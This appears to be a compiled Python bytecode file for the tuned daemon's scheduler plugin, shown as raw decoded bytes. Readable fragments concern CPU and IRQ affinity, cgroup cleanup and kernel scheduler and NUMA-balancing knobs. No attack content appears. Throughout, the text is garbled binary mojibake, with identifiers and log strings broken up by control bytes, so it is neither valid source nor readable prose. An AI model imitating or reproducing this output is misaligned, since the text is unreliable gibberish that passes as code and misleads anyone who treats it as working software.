rpr ròr rrrq¼sz(?}ztjd|ƒdSd}~XnXx†|jjƒD]x\}}||ksL|||jkrlqL|jdk r’|j dk r’|j ||j|j ƒ|j dk r¬|j ||j ƒqL|j dk rL|j||j ƒqLWi|_|jj|jƒdS)NzKerror unapplying tuning, cannot get information about running processes: %s)rÂr¹rºrir‡r{r0rr r rÈr rãr rèrzr~r^)r r¾rÁr9Z orig_paramsrrrr}Ís&      z$SchedulerPlugin._restore_ps_affinitycCsœttjƒ}d}xr|dkr€|dkr€|jjd|j|dfddd�}|d krvx.|jdƒD] }|jjd |jdf|dd �qRW|d 8}qW|dkr˜tj d |ƒdS)Nú rOrz%s/%s/%sZtasksT)rrÙrÚz%s/%s)rÙrz(Unable to cleanup tasks from cgroup '%s')rOr#) rTrRZCGROUP_CLEANUP_TASKS_RETRYrrÛràrÜrárirÏ)r r ZcntÚdatarÞrrrÚ_cgroup_cleanup_tasks_oneãs    z)SchedulerPlugin._cgroup_cleanup_tasks_onecCs@|jdk r"|j|jkr"|j|jƒx|jD]}|j|ƒq*WdS)N)r�r…r%)r r÷rrrÚ_cgroup_cleanup_tasksðs  z%SchedulerPlugin._cgroup_cleanup_taskscsptt|ƒj||ƒ|jr2|jr2|jjƒ|jjƒ|j ƒ|j ƒ|j ƒ|j sV|j r^|jƒ|j rl|jƒdS)N)rQrNÚ_instance_unapply_staticrSryrŠrr!Újoinr}r r&rrrr)r rŽZrollback)rerrr'ös    z(SchedulerPlugin._instance_unapply_staticcCsªtjd|ƒd|j|df}|jj|ddd�}|dkr|jtjks<|jtjkrLtjd|ƒntjd||fƒdSd}~XnX|j j |j ||ƒ}|dk rØ||j krØtjd||t |ƒfƒ|\}}} |j||||| ƒ|jj|j|j ƒdS)Nz3Failed to get cmdline of PID %d, the task vanished.z#Failed to get cmdline of PID %d: %sz-tuning new process '%s' with PID '%d' by '%s')rµr¹rºr»r¼r½rirÃr‡rZ re_lookuprr{rˆrìrzrr^) r rŽr9r%rrÁÚvr=r>r rrrÚ_add_pid$s$       zSchedulerPlugin._add_pidcCs6||jkr2|j|=tjd|ƒ|jj|j|jƒdS)Nz)removed PID %d from the rollback database)r{rirÃrzrr^)r rŽr9rrrÚ _remove_pid9s   zSchedulerPlugin._remove_pidc Csø|jj|jƒ}tjƒ}|jjƒ}x|D]}|j|ƒq&Wxº|jj ƒsòt |j|j dƒƒdkr:|jj ƒ r:d}x‚|rîd}xt|j D]j}|jj |ƒ}|r~d}|jtjks´|jrÊ|jtjkrÊ|j|t|jƒ|ƒq~|jtjkr~|j|t|jƒƒq~WqnWq:WdS)NièrTF)rZre_lookup_compilerÚselectÚpollrar�ÚregisterrŠZis_setrlrUr]Z read_on_cpurtr\Z RECORD_COMMÚ_perf_process_fork_valueZ RECORD_FORKr2rTÚtidZ RECORD_EXITr3) r rŽr%r5Zfdsr’Z read_eventsZcpuZeventrrrr @s&   $    zSchedulerPlugin._thread_coderš)Ú per_devicecCs:|rdS|r6|dk r6djdd„tjdt|ƒƒDƒƒ|_dS)Nú|cSsg|] }d|‘qS)z(%s)r)r*r1rrrrq_sz8SchedulerPlugin._cgroup_ps_blacklist..z(?.z(?.z(?)Ú_default_irq_smp_affinity_valuerÚcpulist_unpack)r r;rr<r0rrrÚ_default_irq_smp_affinityys  z)SchedulerPlugin._default_irq_smp_affinityrŸcCs*|rdS|r&|dk r&|jj|ƒdk|_dS)Nr )rrVr7)r r;rr<r0rrrÚ_perf_process_fork„s z"SchedulerPlugin._perf_process_forkcCs"|jj|ƒ}tjd||fƒ|S)NzRead affinity '%s' of PID %d)rbrArirÃ)r r9Úresrrrræ�s zSchedulerPlugin._get_affinitycCs¢tjd||fƒy|jj||ƒdSttfk rœ}zXt|dƒr`|jtjkr`tjd|ƒn.|j |ƒ}|dksz|d krŽtj d|||fƒdSd}~XnXdS) Nz'Setting CPU affinity of PID %d to '%s'.Tr»z4Failed to set affinity of PID %d, the task vanished.rrfz,Failed to set affinity of PID %d to '%s': %sFrÎ) rirÃrbrCrÆr¹rÇr»r½rÑr‡)r r9r rÁrCrrrrè•s  zSchedulerPlugin._set_affinitycCs"t|ƒjt|ƒƒ}|rt|ƒS|S)N)rÚ intersectionrä)r Z affinity1Z affinity2Z affinity3Zaffrrrrç¨sz'SchedulerPlugin._get_intersect_affinityc s>‡fdd„|Dƒ}ˆjdkr.‡fdd„|Dƒ}ˆjdkrJ‡fdd„|Dƒ}tdd„|Dƒƒ}xÜ|D]Ô}yˆj||ƒ}Wnbttfk rÚ}zB|jtjks¦|jtjkr¶t j d|ƒnt j d||fƒwbWYdd}~XnXˆj ||d d �} | sòqb|ˆj k�r |ˆj |_| rbd ||krbˆj||d jƒ|d ƒqbWdS) Ncs(g|] }tjˆjˆj|ƒƒdk r|‘qS)N)rrrYÚ_get_stat_comm)r*r1)r rrrq¯s z9SchedulerPlugin._set_all_obj_affinity..rOcs(g|] }tjˆjˆj|ƒƒdkr|‘qS)N)rrrZrE)r*r1)r rrrq²s cs(g|] }tjˆjˆj|ƒƒdkr|‘qS)N)rrr[Ú_get_stat_cgroup)r*r1)r rrrqµs cSsg|]}|j|f‘qSr)r9)r*r1rrrrq·sz3Failed to get cmdline of PID %d, the task vanished.zARefusing to set affinity of PID %d, failed to get its cmdline: %sT)rérx)rZr[r.rµr¹rºr»r¼r½rirÃr‡rër{rÚ_set_all_obj_affinityr2) r Zobjsr rxZpslZpsdr9rrÁrÔr)r rrG®s6         z%SchedulerPlugin._set_all_obj_affinityc Cs(y|dStttfk r"dSXdS)NZcgroupsrO)r¹rºrÐ)r r&rrrrFÐsz SchedulerPlugin._get_stat_cgroupc Cs,y |ddStttfk r&dSXdS)NrÉrvrO)r¹rºrÐ)r r&rrrrEÖs zSchedulerPlugin._get_stat_commcCs`y&tjƒ}|jƒ|j|jƒ|dƒWn4ttfk rZ}ztjd|ƒWYdd}~XnXdS)NFzIerror applying tuning, cannot get information about running processes: %s) r²r¶r·rGr2r¹rºrir‡)r r r¾rÁrrrÚ_set_ps_affinityÜsz SchedulerPlugin._set_ps_affinitycCs¼yJ|jj|ƒ}tjd||fƒd|}t|dƒ�}|j|ƒWdQRXdSttfk r¶}zLt|dƒrŽ|j t j krŽ| rŽtjd|ƒd Stj d|||fƒd SWYdd}~XnXdS) Nz&Setting SMP affinity of IRQ %s to '%s'z/proc/irq/%s/smp_affinityÚwrr»z/Setting SMP affinity of IRQ %s is not supportedrfz0Failed to set SMP affinity of IRQ %s to '%s': %srrÎrÍ) rÚ cpulist2hexrirÃrŒÚwriter¹rºrÇr»ZEIOr‡)r rPr Z restoringÚ affinity_hexÚfilenamer#rÁrrrÚ_set_irq_affinityçs"   z!SchedulerPlugin._set_irq_affinitycCs|y>|jj|ƒ}tjd|ƒtddƒ�}|j|ƒWdQRXWn8ttfk rv}ztjd||fƒWYdd}~XnXdS)Nz(Setting default SMP IRQ affinity to '%s'z/proc/irq/default_smp_affinityrIz2Failed to set default SMP IRQ affinity to '%s': %s) rrJrirÃrŒrKr¹rºr‡)r r rLr#rÁrrrÚ_set_default_irq_affinityÿs  z)SchedulerPlugin._set_default_irq_affinityc Cs"tƒ}tjƒ}x |jƒD]”}y"||d}tjd||fƒWntk rTwYnX|j|||ƒ}t|ƒt|ƒkrvq|j ||dƒ}|dkr˜||j |<q|d kr|j j |ƒqW|j jdƒ}|j j|ƒ}|jdkrâ|j|||ƒ}n|jdkrò|j}|jdk�r|j|ƒ||_|jj|j|ƒdS) Nr zRead affinity of IRQ '%s': '%s'Frrfz/proc/irq/default_smp_affinityr”r>rÎ)rr²Ú interruptsr¸rirÃrÐrçrrNrrÚappendrrÛrîr?rOrrzr`) r r Ú irq_originalrrPrêrrCZprev_affinity_hexrrrÚ_set_all_irq_affinity s6        z%SchedulerPlugin._set_all_irq_affinitycCsn|jj|jdƒ}|dkrdSx$|jjƒD]\}}|j||dƒq(W|jdkr\|j}|j|ƒ|jj |jƒdS)NTr>) rzr4r`rr0rNr?rrOr~)r rRrPr rrrÚ_restore_all_irq_affinity)s  z)SchedulerPlugin._restore_all_irq_affinitycCsFt|ƒjt|ƒƒ}|r,tjtj||fƒntjtj|||fƒ|S)N)rÚissubsetrir|rRr*r‡r+)r Úirq_descriptionÚcorrect_affinityr,rCrrrÚ_verify_irq_affinity4s z$SchedulerPlugin._verify_irq_affinityc Csô|jj|jdƒ}tjƒ}d}xŒ|jƒD]€}||jkrR|rRd|}tjt j |ƒq&y<||d}tj d||fƒd|} |j | ||ƒsŒd}Wq&t k r¤w&Yq&Xq&W|jjdƒ} |jj| ƒ}|jdkrð|j d ||jd krâ|n|jƒ rðd}|S) NTz-IRQ %s does not support changing SMP affinityr z#Read SMP affinity of IRQ '%s': '%s'zSMP affinity of IRQ %sFz/proc/irq/default_smp_affinityr>zdefault IRQ SMP affinityr”)rzr4r`r²rPr¸rrir|rRZ STR_VERIFY_PROFILE_VALUE_MISSINGrÃrXrÐrrÛrîr?) r rWr0rRrrCrPÚ descriptionr,rVZcurrent_affinity_hexrrrÚ_verify_all_irq_affinity@s8     z(SchedulerPlugin._verify_all_irq_affinityr•é )r9r c Csðd}d|_|dk rrt|jj|ƒƒ}t|jƒ}|j|ƒrRt||ƒ}|jj|ƒ|_n |jj|jƒ}tj d||fƒ|sz|r†|dkr†dS|r |j rœ|j ||ƒSdS|rÞ|j r¾|j ƒd|j } n|} |j| ƒ|j rì|j|ƒn|j rì|jƒdS)NzJInvalid isolated_cores specified, '%s' does not match available cores '%s'Tz cgroup.%s)rrrr@r]rUrär)rir‡r_rZr�r rHrSrT) r r;rr<r0r ÚisolatedZpresentZstr_cpusZ ps_affinityrrrÚ_isolated_cores_s6        zSchedulerPlugin._isolated_corescCs„d|||f}|jj|ƒ}|r"|Sd||f}tjj|ƒsv|dkrPd||f}nd|||f}d|}|jdkrvd|_||j|<|S)Nz%s_%s_%sz/proc/sys/kernel/%s_%srOz%s/%sz%s/%s/%sz/sys/kernel/debug/%sT)rXr4r)râÚexistsrW)r ÚprefixÚ namespaceÚknobrrârrrÚ_get_sched_knob_pathƒs     z$SchedulerPlugin._get_sched_knob_pathcCsJ|jj|j|||ƒdd�}|dkrFtjd|ƒ|jrFtjdƒd|_|S)N)rzError reading '%s'zUThis may not work with Secure Boot or kernel_lockdown (this hint is logged only once)F)rrÛrbrir‡rW)r r_r`rar$rrrÚ_get_sched_knob”s zSchedulerPlugin._get_sched_knobcCsN|dkr dS|sJ|jj|j|||ƒ||r0tjgndd�sJtjd||fƒ|S)NF)rÙz Error writing value '%s' to '%s')rrárbr»r¼rir‡)r r_r`rarÚsimÚremoverrrÚ_set_sched_knob�szSchedulerPlugin._set_sched_knobr cCs|jdddƒS)NrOr=Úmin_granularity_ns)rc)r rrrÚ_get_sched_min_granularity_ns¦sz-SchedulerPlugin._get_sched_min_granularity_nscCs|jddd|||ƒS)NrOr=rg)rf)r rrdrerrrÚ_set_sched_min_granularity_nsªsz-SchedulerPlugin._set_sched_min_granularity_nsr¡cCs|jdddƒS)NrOr=Ú latency_ns)rc)r rrrÚ_get_sched_latency_ns®sz%SchedulerPlugin._get_sched_latency_nscCs|jddd|||ƒS)NrOr=rj)rf)r rrdrerrrÚ_set_sched_latency_ns²sz%SchedulerPlugin._set_sched_latency_nsr¢cCs|jdddƒS)NrOr=Úwakeup_granularity_ns)rc)r rrrÚ _get_sched_wakeup_granularity_ns¶sz0SchedulerPlugin._get_sched_wakeup_granularity_nscCs|jddd|||ƒS)NrOr=rm)rf)r rrdrerrrÚ _set_sched_wakeup_granularity_nsºsz0SchedulerPlugin._set_sched_wakeup_granularity_nsr£cCs|jdddƒS)NrOr=Útunable_scaling)rc)r rrrÚ_get_sched_tunable_scaling¾sz*SchedulerPlugin._get_sched_tunable_scalingcCs|jddd|||ƒS)NrOr=rp)rf)r rrdrerrrÚ_set_sched_tunable_scalingÂsz*SchedulerPlugin._set_sched_tunable_scalingr¤cCs|jdddƒS)NrOr=Úmigration_cost_ns)rc)r rrrÚ_get_sched_migration_cost_nsÆsz,SchedulerPlugin._get_sched_migration_cost_nscCs|jddd|||ƒS)NrOr=rs)rf)r rrdrerrrÚ_set_sched_migration_cost_nsÊsz,SchedulerPlugin._set_sched_migration_cost_nsr¥cCs|jdddƒS)NrOr=Ú nr_migrate)rc)r rrrÚ_get_sched_nr_migrateÎsz%SchedulerPlugin._get_sched_nr_migratecCs|jddd|||ƒS)NrOr=rv)rf)r rrdrerrrÚ_set_sched_nr_migrateÒsz%SchedulerPlugin._set_sched_nr_migrater¦cCs|jdddƒS)Nr=Únuma_balancingÚ scan_delay_ms)rc)r rrrÚ!_get_numa_balancing_scan_delay_msÖsz1SchedulerPlugin._get_numa_balancing_scan_delay_mscCs|jddd|||ƒS)Nr=ryrz)rf)r rrdrerrrÚ!_set_numa_balancing_scan_delay_msÚsz1SchedulerPlugin._set_numa_balancing_scan_delay_msr§cCs|jdddƒS)Nr=ryÚscan_period_min_ms)rc)r rrrÚ&_get_numa_balancing_scan_period_min_msÞsz6SchedulerPlugin._get_numa_balancing_scan_period_min_mscCs|jddd|||ƒS)Nr=ryr})rf)r rrdrerrrÚ&_set_numa_balancing_scan_period_min_msâsz6SchedulerPlugin._set_numa_balancing_scan_period_min_msr¨cCs|jdddƒS)Nr=ryÚscan_period_max_ms)rc)r rrrÚ&_get_numa_balancing_scan_period_max_msæsz6SchedulerPlugin._get_numa_balancing_scan_period_max_mscCs|jddd|||ƒS)Nr=ryr€)rf)r rrdrerrrÚ&_set_numa_balancing_scan_period_max_msêsz6SchedulerPlugin._set_numa_balancing_scan_period_max_msr©cCs|jdddƒS)Nr=ryÚ scan_size_mb)rc)r rrrÚ _get_numa_balancing_scan_size_mbîsz0SchedulerPlugin._get_numa_balancing_scan_size_mbcCs|jddd|||ƒS)Nr=ryrƒ)rf)r rrdrerrrÚ _set_numa_balancing_scan_size_mbòsz0SchedulerPlugin._set_numa_balancing_scan_size_mb)F)F)F)F)F)brrrrKrrjr�r“Ú classmethodr«rmrµrÂrÅrÈr´rÑrÓrÕrÖrØrßrãrårërìrírïrórörørýrÿrrr r r rr}r%r&rRZ ROLLBACK_SOFTr'r-r.r/r2r3r Zcommand_customr=rYrZr_rArBrærèrçrGrFrErHrNrOrSrTrXrZr]rbrcrfZ command_getrhZ command_setrirkrlrnrorqrrrtrurwrxr{r|r~rr�r‚r„r…Ú __classcell__rr)rerrN‰s´(  ?             <      "    $ rN) rOrZ decoratorsZ tuned.logsZtunedrÚ subprocessr‰r\r4Z tuned.constsrRr²Ztuned.utils.commandsrr»r)r‚rhrrcrMZlogsr4riÚobjectrrrrLZPluginrNrrrrÚs0     /